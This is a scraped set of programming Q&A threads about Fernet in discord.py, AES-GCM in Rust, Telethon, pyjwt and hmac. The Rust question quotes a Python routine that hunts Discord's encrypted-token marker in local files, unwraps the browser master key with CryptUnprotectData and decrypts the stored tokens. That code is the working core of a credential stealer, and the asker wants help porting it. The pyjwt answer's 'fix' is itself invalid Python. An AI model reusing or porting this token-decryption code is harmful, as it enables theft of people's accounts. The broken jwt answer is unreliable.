Fernet in python, "token must be bytes" - python-3.x

Okay so this is my code:
#client.command(aliases=['d'], pass_context=True)
async def decrypt(ctx, arg, member=discord.Member):
key = b'xxxxxx'
f = Fernet(key)
decrypted = f.decrypt(arg)
channel = await member.create_dm()
await channel.send(f'Decrypted message: {decrypted}')
I insert a string after ctx, and it says TypeError: token must be bytes.
My arg is this (which is a byte, right?): b'gAAAAABgx22pwwjUHUA7KqV8jmZrXvocfC3VrHS_QrGCfCaEyj6f7cG1_K3NtbkADYiR4l8fq-DiqYJJk2k8n0jBUhDYsH2kNA=='

First of all, pass_context is deprecated. Second, no need to use create_dm; members are messageables, so you can do member.send. Third, discord.py interprets all arguments as strings by default. You'll need to use typehints (speaking of which, = is used to assign default values, not argument types). And fourth, this will send Decrypted message: b'meetmeatthepetstore', not Decrypted message: meetmeatthepetstore, so you'll want to decode the result. Here's the result:
#client.command(aliases=['d'])
async def decrypt(ctx, arg: bytes, member: discord.Member):
key = b'mycoolkey'
f = Fernet(key)
decrypted = f.decrypt(arg).decode('utf_8')
await member.send(f'Decrypted message: {decrypted}')

Related

How to use AES GCM with specific bytes key in rust

I am trying to translate a long algorithm written in python to rust. The algorithm works by reading a key from a file, and then using that key to decrypt strings of text with AES - GCM. In python, this works perfectly with the Crypto.Cipher module. When searching for an equivalent crate in rust, I found aes_gcm, and tried following the example.
The password is stored encoded in base64, and when decoded, it converts to a non-UTF array of bytes, which I dont know if it is a source of the problem.
Firstly I tried creating a key first like in the example, via let key = Aes256Gcm::generate_key(password);, where password was a String, or a &str, none of which worked. By reading the errors, I discovered the key should be a GenericArray. When searching github for code example usage, I saw the only method for creating these is the GenericArray::from_slice(), which I tried by passing a Vector converted to a slice. This however yields the following error
thread 'main' panicked at 'assertion failed: `(left == right)`
left: `267`,
right: `32`'
267 is the length of the password, therefore, I re-read the original algorithm and discovered it aplied a function to the key before using it, particularly, master_key = CryptUnprotectData(master_key, None, None, None, 0)[1] from the win32crypt - CryptUnprotectData module. I also dont know how to translate this bit of code, but for testing purposes, I extracted the password the python algorithm yields, and inputed it directly to my rust code just as a test.
This time, an aead::Error is yielded, without further context. I dont know where im going wrong with all of this, and I don't have extensive knowledge of AES - GCM, so any help would be apreciated.
This is also the rust code which throws the errors. Note that all the ranges done to the original key are just translated from the python algorithm. The commented lines are past things attempted just as examples
fn decrypt_encrypted_strings(input_string: String, password: &Vec<u8>) -> String {
//let format_password: BlockRng = BlockRng::new(password);
//let key = Aes256Gcm::generate_key(password.into());
//let key = GenericArray::from_slice(&password[..]);
let key = GenericArray::from_slice(b"S\x06\x82VY\xe2E\x88\xa0\xc6\xe5ER?\xce!\xe1\xcf\x9b\xeb\xe3\xc1\xe39\xf0\x85\xa6\x97d\xc88\xe4"); // using password extracted by python algorithm directly
let cipher = Aes256Gcm::new(&key);
let nonce = Nonce::from_slice(&input_string[3..15].as_bytes());
let plaintext = match cipher.decrypt(nonce, &*input_string[15..].as_ref()) {
Ok(v) => v,
Err(e) => {
println!("error: {}", e);
return String::new()
}
};
println!("{:?}", plaintext);
return String::from(plaintext); // I know this is an error, but its not the problem
}
And this is where it is being called, the encoded strings are being parsed out of a file
for line in s.lines() {
if let mat = re.captures(line) {
if let Some(mat) = mat {
let text = decrypt_encrypted_strings(mat.get(0).unwrap().as_str().to_string(), &bytes); // here the string is being decrypted
if !decrypted_strings.contains(&text) {
decrypted_strings.push(text);
}
}
}
}
This is the python algorithm I am trying to translate
import os
import base64
import json
import winreg
from re import findall, match
import requests
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
def grab_data():
# Initialization and searching of paths not shown as it is not relevant
regex = r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$]*"
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for y in findall(regex, line):
plaintext_string = decrypt_password(base64.b64decode(y[:y.find('"')].split('dQw4w9WgXcQ:')[1]), get_master_key(<path_to_password_file>))
if not plaintext_string in strings:
strings.append(plaintext_string)
return strings
def decrypt_password(buff, master_key):
try:
# Initialization Vector
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception:
return "Failed to decrypt password"
def get_master_key(path):
with open(path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
data = grab_data()

how to send send emoji to bot in telethon

Trying to send emoji to bot in telegram using this code
text_found = None
messagetosend = '🏠'
with TelegramClient(username, api_id, api_hash) as client:
#client.on(events.NewMessage(chats = botname))
async def my_event_handler(event):
global text_found
text_found = event.raw_text
await client.disconnect()
# client(functions.messages.StartBotRequest(bot = botname, peer = '#user', start_param = emoji.emojize(':House Building:')+' Мой Кабинет'))
client(functions.messages.StartBotRequest(bot = botname, peer = '#user', start_param = messagetosend))
client.run_until_disconnected()
print(text_found)
but receive error- Start parameter invalid (caused by StartBotRequest) how to fix this?
This is very likely a restriction from Telegram's API itself. The error is not created by Telethon, meaning it can't be "fixed", but there are workarounds.
You can either encode the text into something else (perhaps the unicode values, or Python's unicode escape encoding), or use send_message instead (but then you can't set the peer):
client.send_message(botname, messagetosend)
(Don't forget to await the above call if you use it within an async context.)

pyjwt raises TypeError

I'm using pyjwt as follows:
def encode_auth_token(self, user_id):
'''Generates the auth token.'''
try:
payload = {
'exp': datetime.utcnow() + datetime.timedelta(
days = current_app.config.get('TOKEN_EXPIRATION_DAYS'),
seconds = current_app.config.get('TOKEN_EXPIRATION_SECONDS')
),
'iat': datetime.datetime.utcnow(),
'sub': user_id
}
return jwt.encode(
payload,
current_app.config.get('SECRET_KEY'),
algorithm='HS256'
)
except Exception as e:
return e
the problem with this is that according to docs instance.encode() should return bytes and according to another resource it should return str. When I run it through unitttests:
auth_token = user.encode_auth_token(user.id)
self.assertTrue(isinstance(auth_token, str))
I get: AssertionError: False is not true and when I replace str with bytes I get the same error. So what type this method should be returning ?
its prolly returning byte data. If you can confirm that it does, you can force it return string by calling the decode method on the token instance itself.
token = jwt.encode(payload,secret).decode('utf-8')
return token

Argument 'algorithm' passed by position and keyword in method callp

I am trying to write a class and call it this is my code
import jwt
class generate_jwt():
def __init__(self):
self.name = 'jwt token manager'
def encode_with_hsa(self, secret, expiration_time, payload):
exp_time = {'exp': expiration_time}
return jwt.encode(payload, exp_time, secret, algorithm='HS256')
snake = generate_jwt()
so = {'secret':'ff'}
print(snake.encode_with_hsa('dd', 434234, so))
But this shows TypeError: encode() got multiple values for argument 'algorithm' when calling the class and returing the value
I fixed your code by doing something like:
import jwt
class generate_jwt():
def __init__(self):
self.name = 'jwt token manager'
def encode_with_hsa(self, secret, expiration_time, payload):
exp_time = {'exp': expiration_time}
return jwt.encode(payload, secret, algorithm='HS256', exp_time)
snake = generate_jwt()
so = {'secret':'ff'}
print(snake.encode_with_hsa('dd', 434234, so))
Checkout the definition of encode function here:
def encode(self,
payload, # type: Union[Dict, bytes]
key, # type: str
algorithm='HS256', # type: str
headers=None, # type: Optional[Dict]
json_encoder=None # type: Optional[Callable]
):
So, you have to go by the definition of the function, i.e. how the arguments are passed (order of the arguments).
Note: I am not sure where you need the exp_time. You can just remove it as it is optional.

Use hmac.new() in Python3

How can I use this function:
def generate_sig(endpoint, params, secret):
sig = endpoint
for key in sorted(params.keys()):
sig += '|%s=%s' % (key, params[key])
return hmac.new(secret, sig, sha256).hexdigest()
with these parameters:
endpoint = '/media/657988443280050001_25025320'
params = {
'access_token': 'fb2e77d.47a0479900504cb3ab4a1f626d174d2d',
'count': 10,
}
secret = '6dc1787668c64c939929c17683d7cb74'
In Python 3? Now I receive this error:
TypeError: key: expected bytes or bytearray, but got 'str'
This work for me:
def generate_sig(endpoint, params, secret):
sig = endpoint
for key in sorted(params.keys()):
sig += '|%s=%s' % (key, params[key])
return hmac.new(bytes(secret,encoding='ascii'),
bytes(sig,encoding='ascii'),
sha256).hexdigest()
This way you encode like bytes only to get the hash.

Resources